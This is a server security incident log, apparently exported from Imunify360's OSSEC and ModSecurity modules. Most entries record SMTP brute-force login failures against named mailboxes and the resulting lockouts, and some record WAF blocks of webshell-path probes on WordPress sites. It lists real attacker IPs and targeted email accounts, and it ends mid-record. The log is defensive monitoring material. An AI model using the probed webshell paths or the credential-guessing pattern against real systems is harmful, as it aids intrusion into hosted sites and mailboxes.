# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 14:04:32 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:56924: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.191.170.4
country_id: 2017370
description:
2026-01-30 14:04:43 dovecot_login authenticator failed for H=(pool-109-191-170-4.is74.ru) [109.191.170.4]:44656: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:04:52 dovecot_login authenticator failed for H=(Na4FIuj) [185.230.124.69]:55004: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-01-30 14:04:57 dovecot_login authenticator failed for H=([61.72.59.106]) [61.72.59.106]:56499: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.103.62.201
country_id: 1835841
description:
2026-01-30 14:05:09 dovecot_login authenticator failed for H=([222.103.62.201]) [222.103.62.201]:32798: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.91.179.26
country_id: 732800
description:
2026-01-30 14:05:22 dovecot_login authenticator failed for H=(213-91-179-26.btc-net.bg) [213.91.179.26]:59682: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:05:24 dovecot_login authenticator failed for H=(LapclUbi) [178.16.54.22]:56085: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.127.190
country_id: 1835841
description:
2026-01-30 14:05:33 dovecot_login authenticator failed for H=([111.171.127.190]) [111.171.127.190]:47216: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-01-30 14:05:50 dovecot_login authenticator failed for H=(dsl-ncr-static-137.78.16.125.airtelbroadband.in) [182.95.123.202]:33904: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.99.127.122
country_id: 1814991
description:
2026-01-30 14:05:52 dovecot_login authenticator failed for H=([114.99.127.122]) [114.99.127.122]:40233: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:05:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:05:02 dovecot_login authenticator failed for H=(icZkIkNPR3) [185.230.124.69]:57455: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-01-30 14:05:56 dovecot_login authenticator failed for H=(abts-west-static-211.232.201.106.airtelbroadband.in) [106.201.232.211]:56891: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 14:06:53 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:47782: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:06:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account mckd@mckd.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:06:08 dovecot_login authenticator failed for H=(fBD2ZXFG) [178.16.54.22]:58759: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:06:10 dovecot_login authenticator failed for H=(r1aDlb) [185.230.124.69]:49629: 535 Incorrect authentication data (set_id=mckd@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 14:06:29 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:46632: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:07:26 dovecot_login authenticator failed for H=(UvvomJ0G) [185.230.124.69]:64312: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:07:30 dovecot_login authenticator failed for H=(jdDBOQwx) [178.16.54.22]:64408: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:07:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:07:04 dovecot_login authenticator failed for H=(penm1C30sC) [185.230.124.69]:51664: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:08:11 dovecot_login authenticator failed for H=(u7v4DXqeXg) [185.230.124.69]:57281: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 14:08:50 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (kabseh) [87.103.126.54]:3121: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-01-30 14:08:50 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:56669: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:08:04 dovecot_login authenticator failed for H=(T34CqJtB) [178.16.54.22]:58889: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:08:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 14:09:19 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:39358: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:09:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:09:23 dovecot_login authenticator failed for H=(YRbMgG) [185.230.124.69]:59984: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:09:55 dovecot_login authenticator failed for H=(4C0eSo) [178.16.54.22]:65265: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 14:09:08 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:47914: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-01-30 14:09:57 dovecot_plain authenticator failed for H=(undalin) [12.150.243.22]:30144: 535 Incorrect authentication data (set_id=shutters@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 14:09:09 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:49020: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:10:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:10:08 dovecot_login authenticator failed for H=(rJjT70AZOg) [185.230.124.69]:61756: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:10:35 dovecot_login authenticator failed for H=(j69RBE6A) [178.16.54.22]:54931: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-01-30 14:11:18 dovecot_login authenticator failed for H=([45.82.110.150]) [45.82.110.150]:37352: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:11:32 dovecot_login authenticator failed for H=(5fPuQI3) [178.16.54.22]:54913: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 14:11:45 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:35440: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:11:16 dovecot_login authenticator failed for H=(mYAwf9t) [185.230.124.69]:53858: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-30 14:12:49 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:57111: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:12:13 dovecot_login authenticator failed for H=(aNJjblN7pj) [185.230.124.69]:62316: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:12:29 dovecot_login authenticator failed for H=(FzJxp2U) [185.230.124.69]:62185: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:12:17 dovecot_login authenticator failed for H=(em7VBKF) [178.16.54.22]:60878: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 14:13:04 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:49116: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-01-30 14:13:50 dovecot_login authenticator failed for H=([223.26.225.129]) [210.206.24.234]:24883: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:13:18 dovecot_login authenticator failed for H=(luhnUy) [185.230.124.69]:56780: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 74.248.24.238
country_id: 798544
domain: dynamic-hr.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/as.php||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 159.223.40.255
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/plugins/contact-form-7/ALFA_DATA/alfacgiapi/perl.alfa||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.249.19.34
country_id: 1643084
description:
2026-01-30 14:13:58 dovecot_login authenticator failed for H=([103.249.19.34]) [103.249.19.34]:40258: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/dynamichrcom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.236.186.137
country_id: 2017370
description:
2026-01-30 14:13:18 dovecot_login authenticator failed for H=(p186-137.samaralan.ru) [85.236.186.137]:59428: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:13:21 dovecot_login authenticator failed for H=(CINAj5) [178.16.54.22]:65324: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: modsec
rule: 77317988
name: IM360 WAF: Block access to quarantined files
abuser: 159.223.40.255
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Block access to quarantined files||RSV:7.69||T:APACHE||MVN:REQUEST_URI||MV:/.quarantine/alfacgiapi/perl.alfa||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:14:01 dovecot_login authenticator failed for H=(Fce71X) [185.230.124.69]:51721: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 14:14:11 dovecot_login authenticator failed for H=(nsg-corporate-36.229.187.122.airtel.in) [122.187.229.36]:50827: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 14:14:18 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:9238: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:14:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:15:01 dovecot_login authenticator failed for H=(4WRn6XCp5g) [178.16.54.22]:52355: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:15:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:15:04 dovecot_login authenticator failed for H=(mm4Vghz7M) [185.230.124.69]:49667: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 14:15:13 H=(localhost.localdomain) [45.150.192.143]:54496 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:16:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:16:12 dovecot_login authenticator failed for H=(GKoDmv4e) [185.230.124.69]:56005: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:16:17 dovecot_login authenticator failed for H=(52u2eblt6K) [178.16.54.22]:53194: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:17:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:17:21 dovecot_login authenticator failed for H=(fJowrmo8) [185.230.124.69]:51673: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:17:26 dovecot_login authenticator failed for H=(EZSZbpb5P) [178.16.54.22]:51991: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:17:40 dovecot_login authenticator failed for H=(IJ4wv6A) [185.230.124.69]:54208: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-01-30 14:18:06 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:40032: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:18:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:18:02 dovecot_login authenticator failed for H=(qLedkB) [178.16.54.22]:52237: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:18:03 dovecot_login authenticator failed for H=(HtHL30) [185.230.124.69]:54824: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 14:18:04 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:57170: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.164.235.149
country_id: 1835841
description:
2026-01-30 14:18:58 dovecot_login authenticator failed for H=([221.164.235.149]) [221.164.235.149]:40294: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-30 14:19:34 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:54542: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 71.131.240.107
country_id: 1814991
domain: www.oxbold.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; PFFM10 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 aweme_250000 JsSdk/1.0 NetType/WIFI Channel/31725782a AppName/aweme app_version/25.0.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BULLET/1 BytedanceWebview/d8a21c6 TTWebView/0881130048402||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:19:09 dovecot_login authenticator failed for H=(UsMTWnw) [185.230.124.69]:64349: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 180.188.170.126
country_id: 1819730
domain: www.oxbold.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 doubao_12.0.0 JsSdk/2.0 NetType/MOBILE Channel/App Store Rifle_12.0.0 WKWebView/1 Bullet/1 doubao/12.0.0 BulletTag/FF0439B3-4E4D-43F8-84B0-3AD60799F1DB BytedanceWebview/d8a21c6 aid/482431 argus_biz/anniex FalconTag/2A9CC084-4DB6-4710-B13D-0A424546B93E||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:19:08 dovecot_login authenticator failed for H=(2QaMBm) [178.16.54.22]:64723: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.190.91.99
country_id: 1269750
description:
2026-01-30 14:19:20 dovecot_login authenticator failed for H=([103.190.91.99]) [103.190.91.99]:45380: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:20:23 dovecot_login authenticator failed for H=(zqRJJ5WFo) [178.16.54.138]:51511: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 71.132.35.59
country_id: 1814991
domain: www.oxbold.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.55 Safari/537.36||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:20:53 dovecot_login authenticator failed for H=(RJRjIXGv0) [178.16.54.22]:57284: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 14:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56952: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:20:14 dovecot_login authenticator failed for H=(5zbdHvfNj) [185.230.124.69]:49358: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:21:24 dovecot_login authenticator failed for H=(HqkNfUDs) [178.16.54.22]:61143: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:21:27 dovecot_login authenticator failed for H=(JszaIhMa) [178.16.54.138]:57819: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 14:21:32 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:60524: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 14:21:32 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:45368: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-01-30 14:21:42 dovecot_login authenticator failed for H=(nsg-corporate-73.234.187.122.airtel.in) [122.187.234.73]:53354: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 187.36.175.218
country_id: 3469034
domain: imax.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42049.imax.com.my||ServerName:imax.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dbf2212bbcccaaefa059448be724a04f104d4e02||Title:0x5430d626||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-30 14:21:06 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:41904: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-01-30 14:21:48 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:37793: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:21:22 dovecot_login authenticator failed for H=(pEra6aSoZ) [185.230.124.69]:63141: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.147
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/animation.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/fontstyle/Dosis/static/Dosis-Medium.ttf HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:22:03 dovecot_login authenticator failed for H=(smc6ff) [185.230.124.69]:52120: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/fontstyle/Museo/Museo-500.otf HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:22:04 dovecot_login authenticator failed for H=(b6MeH7f) [178.16.54.22]:63943: 535 Incorrect authentication data (set_id=teng)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.227
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/slick/slick.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.75.248.67
country_id: 1733045
domain: www.eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.eminent.st/index.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:22:14 dovecot_login authenticator failed for H=(caPXKnf2P2) [185.230.124.69]:50694: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.231.139.94
